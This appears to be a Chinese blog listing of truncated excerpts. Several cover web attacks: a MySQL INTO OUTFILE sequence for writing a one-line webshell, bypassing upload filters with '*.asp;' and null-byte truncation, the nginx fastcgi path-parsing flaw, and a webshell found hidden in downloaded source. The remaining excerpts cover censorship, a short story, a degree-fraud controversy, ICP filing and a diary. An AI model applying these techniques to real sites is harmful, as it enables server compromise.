Drop TABLE IF EXISTS temp; //如果存在temp表就删掉 Create TABLE temp(cmd text NOT NULL); //建立temp表，里面就一个cmd字段 Insert INTO temp (cmd) VALUES(''); //把一句话木马插入到temp表 Select cmd from temp into out file '…

PHP版： 先建立一个默认页面index.php 然后把A站放在A文件夹下 B站放在B文件夹下 C站放在C文件夹下 其它index.php内容如下： <?php    switch ($_SERVER["HTTP_HOST"])    {    case "www.a.com":    header("location:a/index.php");    break;    case "ww…

方法一： 本地上传，修改action的地址为上传页面并且在路径后面加上*.asp;或者加个. (此法已测试成功) 方法二： 即截断，直接在路径后面加*.asp空格，然后在16进制下面将20改为00.然后抓包NC上传。这里要切记如果文件大小有变化，一定要修改包的大小。 作者觉得此方法亦较复杂，遂另辟蹊径寻得一好方法，具体如下(此乃重点)： 1、首先需要安装opera游览器(非IE内核) 2、找到一处…

话说某天，为改一代码，遂用DW搜索，如图： 乍一看，不对啊，怎么冒出一个asa文件，我记得这里面的源码全是asp的啊？遂打开该文件，如图： 是不是觉得很像我们平时用的webshell啊？我们再用IE打开看下，如图： 害怕了吧！若是我不知情把它上传到空间去，那就间接的给人家放一个webshell，想想就后怕！看来网上下的代码也不干净，真是天下无免费的午餐......

废话不想说，分析下工信部的创举带来的影响吧： 1、从大处讲，我们又回到了清王朝闭关锁国的状态。 不是贸易的闭关锁国，是信息的闭关锁国。天朝封掉了世界上排名前三的网站，或许可以说是世界前三的网站都选择远离中国。Facebook有问题吗？Youtube怎么啦？Google又是哪里得罪你了？究竟是Google得罪你了还是你要求无理，我会有文章再分析。中国有个现象：如果你得罪一个人不一定是你错，你得罪两个…

刘子奇给郝拉拉打电话：耗子，晚上一起吃饭。不等郝拉拉回答，他就挂了电话。 郝拉拉是刘子奇的高中同学，一个城市上大学，一个城市工作，熟悉得就像左手和右手。刘子奇一直沿用高中时同学对郝拉拉的称呼：耗子。 不用说时间，也不用说地点，左手自然知道右手想什么说什么。 郝拉拉一身破衣烂衫的样子，头发也是乱糟糟的，屁股后面一个硕大的帆布包，瘪瘪地拍打着她瘦瘦的身体。刘子奇头也不抬，闷声说：坐。 刘子奇用吸管不停…

唐骏先生的回应让人感到失望，失望之一是，唐骏先生在用一个谎言遮掩另一个谎言。唐骏先生说：“我无论在任何时候、任何场合，包括我的书上，我的书的首页介绍的时候，从来没有说我是在加州理工大学拿到过博士。”如此说来，方舟子是在乱扣帽子了？当然不是！唐骏先生的回应颇为讲究文字技巧，比如方舟子指责他的“加州理工学院”的博士学位造假，他却针对“加州理工大学博士”作回应，这有些牛头不对马嘴。 事实上，打开唐骏的《…

7月5日零点，第三期备案系统已经恢复备案。根据此前工信部的通知，至2010年7月25日24时，在此期间，原网站备案管理系统（www.miibeian.gov.cn）停止接收新的网站备案业务。目前原网站页面已经去除密码找回功能和新用户注册功能，仅提供系统查询服务。7月5日后，新申请网站备案的网站主办者，只能通过新系统（www.miitbeian.gov.cn）办理网站备案业务。 『最新备案流程』： …

那么假设存在一个http://www.target.com/jpg.jpg，我们以如下的方式去访问 http://www.target.com/jpg.jpg/php.php 将会得到一个URL /jpg.jpg/php.php 经过location指令，该请求将会交给后端的fastcgi处理，nginx为其设置环境变量SCRIPT_FILENAME，内容为 /scripts/jpg.jpg/ph…

　　我不知道应该怎么写，准确地说不知道用怎样的文字把这一年的心情完整地串起来，让他们如绚丽的水晶不失原味地挂在那儿，让你们分享，让你们明白。　　写下这个热的要命的八月的第一个字的时候，我突然注意到窗外成片绽放着许多不知名的小花，红的，黄的，粉白的，花花绿绿地漾在一起，满目漂亮的色彩。天啊，这些花是什么时候开放的？这样如火如荼的势头应该不会只有几天的时间吧。　　我不知道这一年里这些花儿是不是这样漂亮…